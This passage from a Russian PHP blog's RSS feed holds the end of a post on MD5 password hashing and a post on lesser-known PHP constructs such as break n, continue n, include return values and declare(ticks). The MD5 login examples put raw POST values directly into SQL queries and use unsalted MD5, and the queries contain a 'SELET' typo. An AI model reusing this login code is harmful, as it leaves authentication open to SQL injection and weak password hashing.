<a href="http://www.php.net/mysql_query"><span style="color: #990000;">mysql_query</span></a> <span style="color: #009900;">&#40;</span>”INSERT INTO table VALUES <span style="color: #009900;">&#40;</span>0<span style="color: #339933;">,</span> ‘<span style="color: #000088;">$login</span>’<span style="color: #339933;">,</span> ‘<span style="color: #000088;">$hash</span>’<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>”<span style="color: #009900;">&#41;</span></div></div>
<p>Теперь, когда пользователь заходит в свой аккаунт, нужно проверять хеш из базы с хешем введенного пароля, который мы создаем “на лету”. Например так:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$login</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'login'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$pass</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'password'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$user</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/mysql_fetch_array"><span style="color: #990000;">mysql_fetch_array</span></a> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/mysql_query"><span style="color: #990000;">mysql_query</span></a> <span style="color: #009900;">&#40;</span>”SELET <span style="color: #339933;">*</span> FROM table WHERE login<span style="color: #339933;">=</span>’<span style="color: #000088;">$login</span>’<span style="color: #339933;">;</span>”<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$user</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'hash'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <a href="http://www.php.net/md5"><span style="color: #990000;">md5</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pass</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <span style="color: #666666; font-style: italic;">/* вошли успешно */</span><span style="color: #009900;">&#125;</span></div></div>
<p>Конечно, я тут не проверял входящие данные и не проверял ошибки. Кстати, <strong>MySQL тоже понимает MD5</strong>, поэтому код выше можно переписать так, оставив только запрос:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$login</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'login'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$pass</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'password'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$user</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/mysql_fetch_array"><span style="color: #990000;">mysql_fetch_array</span></a> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/mysql_query"><span style="color: #990000;">mysql_query</span></a> <span style="color: #009900;">&#40;</span>”SELET <span style="color: #339933;">*</span> FROM table WHERE login<span style="color: #339933;">=</span>’<span style="color: #000088;">$login</span>’ AND <a href="http://www.php.net/hash"><span style="color: #990000;">hash</span></a><span style="color: #339933;">=</span><a href="http://www.php.net/md5"><span style="color: #990000;">MD5</span></a><span style="color: #009900;">&#40;</span>’<span style="color: #000088;">$pass</span>’<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>”<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>Постарался как можно лучше ответить на этот вопрос и мне кажется, что ответ удался <img src='http://phpmind.ru/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<script type="text/javascript" src="http://odnaknopka.ru/wp/ok2.utf8.js"></script><script type="text/javascript">okbm("http://phpmind.ru/php-articles/%d0%b2-%d1%87%d0%b5%d0%bc-%d1%81%d0%b8%d0%bb%d0%b0-md5/","В чем сила MD5?")</script>]]></content:encoded>
			<wfw:commentRss>http://phpmind.ru/php-articles/%d0%b2-%d1%87%d0%b5%d0%bc-%d1%81%d0%b8%d0%bb%d0%b0-md5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Интересные возможности PHP</title>
		<link>http://phpmind.ru/php-articles/%d0%b8%d0%bd%d1%82%d0%b5%d1%80%d0%b5%d1%81%d0%bd%d1%8b%d0%b5-%d0%b2%d0%be%d0%b7%d0%bc%d0%be%d0%b6%d0%bd%d0%be%d1%81%d1%82%d0%b8-php/</link>
		<comments>http://phpmind.ru/php-articles/%d0%b8%d0%bd%d1%82%d0%b5%d1%80%d0%b5%d1%81%d0%bd%d1%8b%d0%b5-%d0%b2%d0%be%d0%b7%d0%bc%d0%be%d0%b6%d0%bd%d0%be%d1%81%d1%82%d0%b8-php/#comments</comments>
		<pubDate>Tue, 23 Feb 2010 20:07:07 +0000</pubDate>
		<dc:creator>Capcha</dc:creator>
				<category><![CDATA[PHP Cтатьи]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php статья]]></category>
		<category><![CDATA[пхп]]></category>
		<category><![CDATA[пхп статья]]></category>

		<guid isPermaLink="false">http://phpmind.ru/?p=137</guid>
		<description><![CDATA[
В данной статье я хочу рассказать о интересных, но не очень распространенных базовых возможностях языка PHP. Все, что написано далее в том или ином виде присутствует в документации к PHP в разрозненном виде. Автор вполне отдает себе отчет в том, что большинство профессиональных разработчиков все это отлично знает, но новички могут узнать что-то новое.

Команда BREAK
Многие [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://i063.radikal.ru/1002/17/78ff69bfb4c0.gif" alt="PHP" /><br />
В данной статье я хочу рассказать о интересных, но не очень распространенных базовых возможностях языка PHP. Все, что написано далее в том или ином виде присутствует в документации к PHP в разрозненном виде. Автор вполне отдает себе отчет в том, что большинство профессиональных разработчиков все это отлично знает, но новички могут узнать что-то новое.</p>
<p><span id="more-137"></span></p>
<p><strong>Команда BREAK</strong></p>
<p>Многие почему-то считают, что <strong>break</strong> может использоваться исключительно в конструкциях <strong>switch</strong>. Это заблуждение. Кроме <strong>switch</strong>, она используется в циклах. Кроме того, у команды есть необязательный параметр – число уровней, из которых надо выйти. Например:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$exp1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$exp2</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$exp3</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// полный выход из цикла </span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span> <span style="color: #cc66cc;">2</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// выход только из while($exp2) </span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
<span style="color: #009900;">&#125;</span></div></div>
<p><strong>Команда CONTINUE</strong><br />
Как и <strong>break</strong> имеет параметр – число уровней возврата к циклу.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$exp1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$exp2</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$exp3</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// возврат к while ($exp1) </span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">continue</span> <span style="color: #cc66cc;">2</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// возврат к while ($exp2) </span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
<span style="color: #009900;">&#125;</span></div></div>
<p>Кстати, в конструкции <strong>switch</strong> команда <strong>continue</strong> дает точно такой же эффект, что и <strong>break</strong>. Поэтому, если у вас внутри цикла находится оператор <strong>switch</strong>, и вы внутри него попытаетесь выполнить continue, то у вас произойдет просто <strong>break</strong> из свича, а не возврат к началу цикла. В этом случае для получение ожидаемого нужно сделать <strong>continue 2</strong></p>
<p><strong>Команда INCLUDE</strong><br />
А вы знаете, что <strong>include</strong> скрипта работает точно так же, как вызов функции, а именно может возвращать значения, отдаваемые командой <strong>return</strong> в процессе выполнения этого скрипта? То есть можно сделать так:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">// файл i.php </span><br />
<span style="color: #b1b100;">Return</span> “hello<span style="color: #339933;">,</span> world<span style="color: #339933;">!</span>” <br />
<br />
<span style="color: #666666; font-style: italic;">// файл index.php </span><br />
<span style="color: #666666; font-style: italic;">// напечатает “hello, world!” </span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #b1b100;">include</span> <span style="color: #009900;">&#40;</span>“i<span style="color: #339933;">.</span>php”<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p><strong>Команда DECLARE</strong></p>
<p>Заслуженно можно сказать, что это самая редкоиспользуемая базовая конструкция в PHP. Она нужна для установки директив интерпретатору при выполнении кода. На данный момент существует только одна директива – <strong>ticks</strong>. </p>
<p><strong>Declare (ticks=n)</strong> – говорит интерпретатору (создает событие), что ему нужно что-то обработать через каждые n тиков. Тик – это выполнение одного базового действия php. Кроме этого, с помощью специальной функции <strong>register_tick_function()</strong> установить функцию, которая будет выполнена при возникновении события, иначе конструкция бессмысленна.</p>
<p>На практике declare можно использовать для профайлинга скриптов. Т.е. благодаря тикам можно замерять время, потраченное на выполнение каждой вашей операции (или их группы) в скрипте.</p>
<p>Как это делается смотрите тут — http://www.php.net/manual/ru/control-structures.declare.php</p>
<script type="text/javascript" src="http://odnaknopka.ru/wp/ok2.utf8.js"></script><script type="text/javascript">okbm("http://phpmind.ru/php-articles/%d0%b8%d0%bd%d1%82%d0%b5%d1%80%d0%b5%d1%81%d0%bd%d1%8b%d0%b5-%d0%b2%d0%be%d0%b7%d0%bc%d0%be%d0%b6%d0%bd%d0%be%d1%81%d1%82%d0%b8-php/","Интересные возможности PHP")</script>]]></content:encoded>
			<wfw:commentRss>http://phpmind.ru/php-articles/%d0%b8%d0%bd%d1%82%d0%b5%d1%80%d0%b5%d1%81%d0%bd%d1%8b%d0%b5-%d0%b2%d0%be%d0%b7%d0%bc%d0%be%d0%b6%d0%bd%d0%be%d1%81%d1%82%d0%b8-php/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
